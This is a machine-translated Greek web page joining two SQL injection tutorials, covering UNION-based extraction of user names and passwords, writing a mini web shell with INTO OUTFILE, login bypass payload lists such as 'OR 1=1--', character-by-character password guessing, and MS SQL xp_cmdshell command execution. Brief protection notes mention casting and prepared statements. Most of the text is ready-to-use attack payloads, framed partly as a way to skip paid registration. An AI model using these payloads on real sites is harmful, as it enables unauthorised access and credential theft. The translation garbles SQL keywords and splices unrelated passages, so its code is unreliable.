Συμβαίνει συχνά να υπάρχουν 20 ή 40 ή και 60 πεδία. Για να μην χρειάζεται να τα περνάμε κάθε φορά, χρησιμοποιούμε ΟΜΑΔΑ ΑΠΟ

Εάν το αίτημα
sqlinj/index1.php?id=1 ΟΜΑΔΑ ΑΠΟ 2
δεν έδωσε κανένα σφάλμα, επομένως ο αριθμός των πεδίων είναι μεγαλύτερος από 2. Προσπαθούμε:

sqlinj/index1.php?id=1 ΟΜΑΔΑ ΑΠΟ 8
Op, βλέπουμε ένα σφάλμα, οπότε ο αριθμός των πεδίων είναι μικρότερος από 8.

Εάν δεν υπάρχει σφάλμα με GROUP BY 4, αλλά υπάρχει σφάλμα με GROUP BY 6, τότε ο αριθμός των πεδίων είναι 5

Καθορισμός στηλών εμφάνισης
Για να μην εμφανίζεται τίποτα από το πρώτο αίτημα, αρκεί να αντικαταστήσετε ένα ανύπαρκτο ID, για παράδειγμα:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Με αυτήν την ενέργεια, προσδιορίσαμε ποιες στήλες εμφανίζονται στη σελίδα. τώρα για να αντικαταστήσετε αυτούς τους αριθμούς με απαραίτητες πληροφορίες, πρέπει να συνεχίσετε το ερώτημα.

Έξοδος δεδομένων

Ας πούμε ότι ξέρουμε ότι το τραπέζι υπάρχει ακόμα χρήστεςστα οποία υπάρχουν πεδία ταυτότητα, όνομαΚαι πέρασμα.
Πρέπει να λάβουμε πληροφορίες για τον χρήστη με ID=1

Ας δημιουργήσουμε λοιπόν ένα ερώτημα όπως αυτό:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 ΑΠΟ χρήστες WHERE id=1
Το σενάριο συνεχίζει επίσης να βγαίνει

Για να γίνει αυτό, θα αντικαταστήσουμε το όνομα των πεδίων, με τη θέση των αριθμών 1 και 3

sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Πήραμε ότι χρειαζόμασταν!

Για "παράμετρο εισαγωγής συμβολοσειράς" όπως στο σενάριο index2.phpπρέπει να προσθέσετε ένα εισαγωγικό στην αρχή και ένα σημάδι σχολίου στο τέλος. Παράδειγμα:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Ανάγνωση/εγγραφή αρχείων

Για την ανάγνωση και εγγραφή αρχείων, ο χρήστης της βάσης δεδομένων πρέπει να έχει δικαιώματα FILE_PRIV.
Σύνταξη αρχείων
Στην πραγματικότητα, όλα είναι πολύ απλά. Για να γράψουμε ένα αρχείο, θα χρησιμοποιήσουμε τη συνάρτηση ΕΞΩΤΕΡΙΚΟ.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Ωραία, έχουμε το αρχείο. Έτσι, μπορούμε να ανεβάσουμε ένα μίνι κέλυφος:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Ανάγνωση αρχείων
Η ανάγνωση αρχείων είναι ακόμη πιο εύκολη από τη σύνταξή τους. Αρκεί απλώς να χρησιμοποιήσετε τη λειτουργία LOAD_FILE, για τη θέση του πεδίου που επιλέγουμε:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Έτσι, διαβάσαμε το προηγούμενο γραπτό αρχείο.

Μέθοδοι προστασίας

Το να προστατεύσετε τον εαυτό σας είναι ακόμα πιο εύκολο από το να εκμεταλλευτείτε μια ευπάθεια. Απλώς φιλτράρετε τα δεδομένα. Εάν περνάτε αριθμούς, χρησιμοποιήστε
$id = (int) $_GET["id"];
Όπως πρότεινε ο χρήστης malroc. Υπερασπίσου χρησιμοποιώντας ΠΟΠ ή προετοιμασμένες δηλώσεις.

Αντί να ολοκληρώσει

Σε αυτό θέλω να ολοκληρώσω το πρώτο μου μέρος σχετικά με το "SQL injection για αρχάριους". Στο δεύτερο, θα δούμε πιο δύσκολα παραδείγματα ενέσεων. Προσπαθήστε να γράψετε ευάλωτα σενάρια και να εκτελέσετε ερωτήματα μόνοι σας.
Και να θυμάστε, μην εμπιστεύεστε κανέναν χρήστη του ιστότοπού σας.

SQL Injectionαρκετά καλή ευκαιρίαγια να πάρει ένας χάκερ
πρόσβαση διακομιστή. Και με λίγη προσπάθεια, αυτός
ακόμα το καταλαβαίνω 🙂

κωδικοποιητής μέσα

Σήμερα, υποστηρίζεται η εργασία με βάσεις δεδομένων
σχεδόν όλες οι γλώσσες προγραμματισμού, όπως BASIC, C++, Java, PERL, PHP, Assembler ακόμα και JavaScript! Και αυτά τα προγράμματα δεν ονομάζονται τίποτα περισσότερο από ένα DBMS - συστήματα διαχείρισης βάσεων δεδομένων. Οι βάσεις δεδομένων χρησιμοποιούνται συχνά για την επίλυση οικονομικών προβλημάτων,
λογιστική, οργάνωση προσωπικού, αλλά βρήκαν την εφαρμογή τους και στο Διαδίκτυο.

Οι βάσεις δεδομένων χρησιμοποιούνται συχνά για τη σύνταξη διαδικτυακών εφαρμογών. Η χρήση τους είναι πιο κατάλληλη για την αποθήκευση δεδομένων εγγραφής χρήστη, αναγνωριστικών περιόδου σύνδεσης, οργάνωσης αναζητήσεων και άλλων εργασιών που απαιτούν περισσότερη επεξεργασία.
ποσότητα δεδομένων. Οι τεχνολογίες διακομιστών χρησιμοποιούνται για την πρόσβαση στη βάση δεδομένων: PHP, PERL, ASP, κ.λπ. Εδώ αρχίζει η διασκέδαση. Όταν είστε στον διακομιστή
εγκαθίστανται όλες οι ενημερώσεις κώδικα και το τείχος προστασίας αποκλείει όλες τις θύρες εκτός από 80 ή όταν απαιτείται έλεγχος ταυτότητας για πρόσβαση σε ορισμένα δεδομένα, ένας χάκερ μπορεί να χρησιμοποιήσει το SQL Injection για να σπάσει. Η ουσία αυτής της επίθεσης είναι να χρησιμοποιηθεί ένα σφάλμα στη διασταύρωση τεχνολογιών WEB και SQL. Το θέμα είναι ότι πολλοί ιστοσελίδεςγια την επεξεργασία δεδομένων χρήστη, σχηματίστε μια ειδική SQLΕρώτημα DB. Η απρόσεκτη χρήση αυτής της τεχνικής μπορεί να οδηγήσει σε αρκετά ενδιαφέροντα αποτελέσματα...

SQL Injection

Για να εξηγήσουμε την επίθεση, ας φανταστούμε ότι πήγατε στον ιστότοπο για να κατεβάσετε ένα πολύ σημαντικό εργαλείο και παρατηρήσατε με τρόμο ότι μόνο ένας εγγεγραμμένος χρήστης μπορεί να το κάνει αυτό και η εγγραφή, φυσικά, κοστίζει χρήματα Ήρθε η ώρα να θυμηθούμε πώς
πρόσβαση σε βάσεις δεδομένων SQL. Για παράδειγμα, ο έλεγχος ενός ονόματος χρήστη και κωδικού πρόσβασης στην PHP μπορεί να μοιάζει με αυτό:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" ΚΑΙ
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
αν ($num_rows!=0)
{
// ΟΚ
}
αλλού
{
// ΣΦΑΛΜΑ ΕΛΕΓΧΟΥ ΤΑΥΤΟΤΗΤΑΣ
}

Πρόσθεσα δύο σχόλια, "ΕΝΤΑΞΕΙ ΑΥΘΕΝΤΙΚΟΤΗΤΑ" - αντ' αυτού θα έπρεπε
μεταβείτε στον κωδικό που θα εκτελεστεί εάν ο κωδικός πρόσβασης και η σύνδεση είναι σωστά. Ένα άλλο «ΣΦΑΛΜΑ ΑΥΘΕΝΤΙΚΟΤΗΤΑΣ» είναι το μέρος όπου θα περιγραφεί ο κωδικός, ο οποίος εκτελείται σε περίπτωση λανθασμένου τους. Εάν συμπληρώσετε τη φόρμα, το αίτημα θα μοιάζει με "http://www.server.com?login=user&password=31337", όπου www.server.com είναι το όνομα
ο διακομιστής στον οποίο προσπαθούμε να συνδεθούμε. Βρήκαμε αυτό που ψάχναμε, και ως εκ τούτου θα επιστρέψουμε στη δουλειά ξανά SQL. Έτσι, εάν πρέπει να καθορίσετε ένα login και έναν κωδικό πρόσβασης για εξουσιοδότηση, τότε το παραγόμενο SQLτο αίτημα θα μοιάζει με αυτό:

ΕΠΙΛΟΓΗ * ΑΠΟ χρήστες WHERE login="user" ΚΑΙ
κωδικός πρόσβασης = "31337"

Αυτό σημαίνει κάπως έτσι: επιστρέψτε σε μένα όλες τις εγγραφές από τη βάση δεδομένων των χρηστών με το login "user" και τον κωδικό πρόσβασης "31337". Εάν υπάρχει μια τέτοια εγγραφή, τότε ο χρήστης είναι εγγεγραμμένος, αλλά αν όχι, τότε όχι ... Αλλά υπό ορισμένες συνθήκες, όλα μπορούν να διορθωθούν. Αυτό αναφέρεται στην κατάσταση όταν η εφαρμογή δεν ελέγχει το περιεχόμενο των μεταδιδόμενων δεδομένων ή ελέγχει ελλιπώς για την παρουσία SQLοδηγίες. Σε αυτό το παράδειγμα, ελέγχονται τα δύο πεδία σύνδεση και κωδικός πρόσβασης, αλλά εάν ο κωδικός πρόσβασης είναι "31337" ΚΑΙ email=" [email προστατευμένο]"(χωρίς διπλά εισαγωγικά), τότε το ερώτημα θα αποδειχθεί λίγο διαφορετικό:

SELECT * FROM users WHERE login="user" AND password="31337" AND
email=" [email προστατευμένο]"

Και αν υπάρχει το πεδίο email, θα ελεγχθεί και αυτή η συνθήκη. Αν θυμάστε τα βασικά της άλγεβρας Boole, σας έρχεται στο μυαλό ότι εκτός από την πράξη "and" υπάρχει και "or", και δεδομένου ότι η χρήση τους υποστηρίζεται από SQL, μπορείτε
με τον τρόπο που περιγράφεται, προσθέστε μια συνθήκη που επιστρέφει πάντα true. Για να το εφαρμόσετε αυτό, είναι απαραίτητο να καθορίσετε "χρήστης" Ή 1=1--" ως σύνδεση, οπότε το αίτημα θα λάβει τη μορφή:

SELECT * FROM users WHERE login="user" OR 1=1--" AND
κωδικός πρόσβασης = "31337"

Αρχικά, θα πρέπει να γνωρίζετε ότι "--" σημαίνει το τέλος του αιτήματος, και όλα μετά το "--"
δεν θα υποστεί επεξεργασία! Φαίνεται ότι κάναμε ένα αίτημα:

SELECT * FROM users WHERE login="user" Ή 1=1

Όπως μπορείτε να δείτε, προσθέσαμε τη συνθήκη "1=1", που σημαίνει ότι το κριτήριο επαλήθευσης θα είναι "αν η σύνδεση είναι "χρήστης" ή 1=1", αλλά το 1 είναι πάντα ίσο με 1 (η μόνη εξαίρεση μπορεί να είναι η αριθμητική του Dani Shepovalov :)). Για να τεστάρουμε τις υποψίες μας
σφυρώνουμε στη γραμμή διευθύνσεων "http://www.server.com?login=user or 1=1--&password=31337". Αυτό οδηγεί στο γεγονός ότι δεν έχει σημασία ποια σύνδεση καθορίσαμε, αλλά
ειδικά τον κωδικό πρόσβασης! Και είμαστε στο matrix ... ω, στο σύστημα και μπορούμε να κατεβάσουμε με ασφάλεια αυτό που χρειαζόμαστε.

Αλλά όλα αυτά είναι στη θεωρία. Στην πράξη, δεν γνωρίζουμε πώς σχηματίζεται το αίτημα, ποια δεδομένα μεταδίδονται και με ποια σειρά. Επομένως, πρέπει να καθορίσετε "χρήστης" Ή 1=1--" για όλα τα πεδία. Θα πρέπει επίσης να ελέγξετε τη φόρμα υποβολής για κρυφά πεδία. Σε HTML, περιγράφονται ως " ". Εάν υπάρχουν, αποθηκεύστε τη σελίδα και αλλάξτε τις τιμές αυτών των πεδίων. Οι τιμές που περιέχονται σε αυτά συχνά ξεχνιούνται να ελεγχθούν για την παρουσία οδηγιών SQL. Αλλά για όλα για να λειτουργήσει, θα πρέπει να καθορίσετε την πλήρη διαδρομή προς το σενάριο στη φόρμα (ετικέτα "FORM") για την παράμετρο "ACTION", που χειρίζεται αυτό το αίτημα.

Αλλά δεν είναι πάντα γνωστό πώς σχηματίζεται το αίτημα,
Το προηγούμενο παράδειγμα θα μπορούσε να διαμορφωθεί με τους εξής τρόπους:

SELECT * FROM users WHERE (login="user" AND password="31337")
SELECT * FROM users WHERE login="user" AND password="31337"
ΕΠΙΛΟΓΗ * ΑΠΟ χρήστες WHERE login=χρήστης ΚΑΙ κωδικός πρόσβασης=31337

Σε αυτήν την περίπτωση, μπορείτε να δοκιμάσετε τις ακόλουθες επιλογές:

"Ή 1=1--
"Ή 1=1--
OR1=1--
" Ή "a"="a
" Ή "a"="a
") Ή ("a"="a
Ή "1"="1"

Όλα εξαρτώνται από τον σκοπό του σεναρίου και από τον προγραμματιστή. Δεδομένου ότι κάθε άτομο τείνει να κάνει τα πάντα με τον δικό του τρόπο, είναι πολύ πιθανό ο προγραμματιστής να μην επιλέξει την πιο εύκολη επιλογή. Επομένως, δεν πρέπει αμέσως
παραιτηθείτε εάν σας απορρίψουν. Απαραίτητη
δοκίμασε όσες περισσότερες επιλογές μπορείς...

Ανίχνευση κωδικού πρόσβασης

Η παράκαμψη της εξουσιοδότησης δεν είναι κακό, αλλά πολύ συχνά η τρύπα που χρησιμοποιείτε κλείνει και ό,τι ήταν διαθέσιμο χάνεται.
Αυτό είναι αναμενόμενο εάν ο προγραμματιστής δεν είναι ανόητος
με τον καιρό θα καλύψει όλα τα κενά. Μπορείτε εύκολα να απαλλαγείτε από τέτοιες καταστάσεις φροντίζοντας το εκ των προτέρων. Η σωστή λύση μπορεί να είναι να μαντέψετε τον κωδικό πρόσβασης
ανάλυση των αποτελεσμάτων ελέγχου ταυτότητας. Αρχικά, προσπαθούμε να μαντέψουμε τον κωδικό πρόσβασης, για αυτό εισάγουμε τη θέση του:

"OR password>"a

Εάν μας πουν ότι η εξουσιοδότηση έχει περάσει, τότε ο κωδικός πρόσβασης
δεν ξεκινά με το γράμμα "a", αλλά με ένα από τα παρακάτω στη λίστα. Προχωράμε και αντικαθιστούμε
θέση «α», επόμενο «β», «γ», «δ», «ε»... κ.λπ. μέχρι να μας πουν ότι ο κωδικός δεν είναι σωστός. Αφήστε αυτή τη διαδικασία να σταματήσει στον χαρακτήρα "x", σε αυτήν την περίπτωση δημιουργούνται δύο σενάρια για την εξέλιξη της κατάστασης, ο κωδικός πρόσβασης βρίσκεται ή διαβάζεται ο κωδικός πρόσβασης σε αυτόν τον χαρακτήρα. Για να ελέγξετε την πρώτη επιλογή, γράψτε τη θέση του κωδικού πρόσβασης:

"Ή κωδικός πρόσβασης="x

και αν γίνει δεκτός ο κωδικός και σε αφήσουν να μπεις, τότε μαντέψατε τον κωδικό! Λοιπόν, όχι, τότε θα πρέπει να επιλέξετε τον δεύτερο χαρακτήρα,
ακριβώς το ίδιο από την αρχή. Για δύο χαρακτήρες ελέγξτε
χρειάζονται το ίδιο. Στο τέλος, θα λάβετε έναν κωδικό πρόσβασης και ψάχνετε για σύνδεση με τον ίδιο τρόπο 🙂
Εάν ο κωδικός πρόσβασης και η σύνδεση που βρήκατε δεν σας ταιριάζουν, μπορείτε να βρείτε άλλους. Για να το κάνετε αυτό, πρέπει να ξεκινήσετε τον έλεγχο από τον τελευταίο χαρακτήρα του κωδικού πρόσβασης που βρέθηκε. Έτσι, εάν ο κωδικός πρόσβασης ήταν "xxx" είναι απαραίτητο να ελέγξετε την ύπαρξη του κωδικού πρόσβασης
"xxy":

" Ή κωδικός πρόσβασης = "xxx

για να μην χάσετε καμία επιλογή!

MS SQL Server

Κυρία SQL Serverγενικά ένα θεϊκό δώρο αν χαθεί το απαραίτητο φιλτράρισμα. Χρησιμοποιώντας την ευπάθεια SQL Injection, μπορείτε να εκτελέσετε
εντολές σε έναν απομακρυσμένο διακομιστή χρησιμοποιώντας exec master..xp_cmdshell. Αλλά για να χρησιμοποιήσετε αυτή την κατασκευή
πρέπει να ολοκληρώσετε τη λειτουργία "ΕΠΙΛΟΓΗ". Στην SQL, οι εντολές διαχωρίζονται με ερωτηματικά. Επομένως, θα συνδεθεί σε κάποια IP μέσω Telnet, πρέπει να πληκτρολογήσετε τον κωδικό πρόσβασης / τη θέση σύνδεσης:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

Ο MS SQL Server έχει μερικές ακόμη ενδιαφέρουσες δυνατότητες που σας επιτρέπουν να μάθετε τις συνδέσεις και τους κωδικούς πρόσβασης που είναι αποθηκευμένοι στη βάση δεδομένων. Για να γίνει αυτό, η έξοδος σφάλματος ανακατευθύνεται σε έναν αυθαίρετο διακομιστή και μέσω αυτών
ανάλυση, μπορείτε να μάθετε το όνομα του πίνακα, τα πεδία και τους τύπους τους. Τότε μπορείτε να ζητήσετε

" UNION SELECT TOP 1 σύνδεση ΑΠΟ χρήστες--

(σύνδεση είναι το όνομα του πεδίου που περιέχει τη σύνδεση και χρήστες είναι το όνομα του πίνακα,
ημιεπιστήμονες στη διαδικασία ανάλυσης σφαλμάτων).

Η απάντηση μπορεί να είναι:


Σφάλμα σύνταξης κατά τη μετατροπή της τιμής nvarchar "admin" to a column of data type int. !}
/default.asp, γραμμή 27

Τώρα γνωρίζουμε ότι υπάρχει ένας χρήστης με το όνομα "admin". Τώρα μπορούμε να πάρουμε τον κωδικό πρόσβασής του:

" UNION SELECT TOP 1 password FROM users where login="admin"--

Αποτέλεσμα:

Σφάλμα Microsoft OLE DB Provider for ODBC Drivers "80040e07"
Σφάλμα σύνταξης κατά τη μετατροπή της τιμής nvarchar "xxx" to a column of data type int. !}
/tedault.asp, γραμμή 27

Τώρα γνωρίζουμε ότι υπάρχει ένας χρήστης "admin" με κωδικό "xxx". Αυτό μπορεί με ασφάλεια
χρησιμοποιήστε και συνδεθείτε στο σύστημα 😉

Αλλά υπάρχουν πολλές άλλες λειτουργίες για εργασία με SQL,
όταν εργάζεστε με μια βάση δεδομένων, μπορείτε επίσης να διαγράψετε δεδομένα, να τροποποιήσετε, να εισαγάγετε τα δικά σας, ακόμη και να χειριστείτε αρχεία και να εργαστείτε με το μητρώο.
Γενικά, οι κανόνες του SQL Server 🙂

ΠΡΟΣΤΑΣΙΑ

Αλλά όλα αυτά μπορούν φυσικά να αποφευχθούν. Για αυτό μπορείτε
χρησιμοποιήστε τα φίλτρα
παρέχονται από τους κατασκευαστές. Μπορείτε να βρείτε τις δικές σας λύσεις, για παράδειγμα, να αντικαταστήσετε όλα τα single
διπλά εισαγωγικά (αν για SQLαίτηση, χρησιμοποιούμε μεμονωμένα) ή το αντίστροφο. Μπορείτε να επιτρέψετε μόνο τη χρήση γραμμάτων και s@baki, σε περίπτωση που χρειαστεί να εισέλθετε
διεύθυνση ηλεκτρονικού ταχυδρομείου. Και στο μαργαριτάρι υπάρχει ένα καταπληκτικό
η συνάρτηση 🙂 quote() στη μονάδα DBI::DBD, η οποία κάνει το ερώτημά σας ασφαλές με επιτυχία SQL. Υπάρχουν πολλές λύσεις, απλά τις χρειάζεστε
εκμεταλλεύομαι. Αλλιώς, γιατί τότε όλα αυτά…



Φόρτωση...
Μπλουζα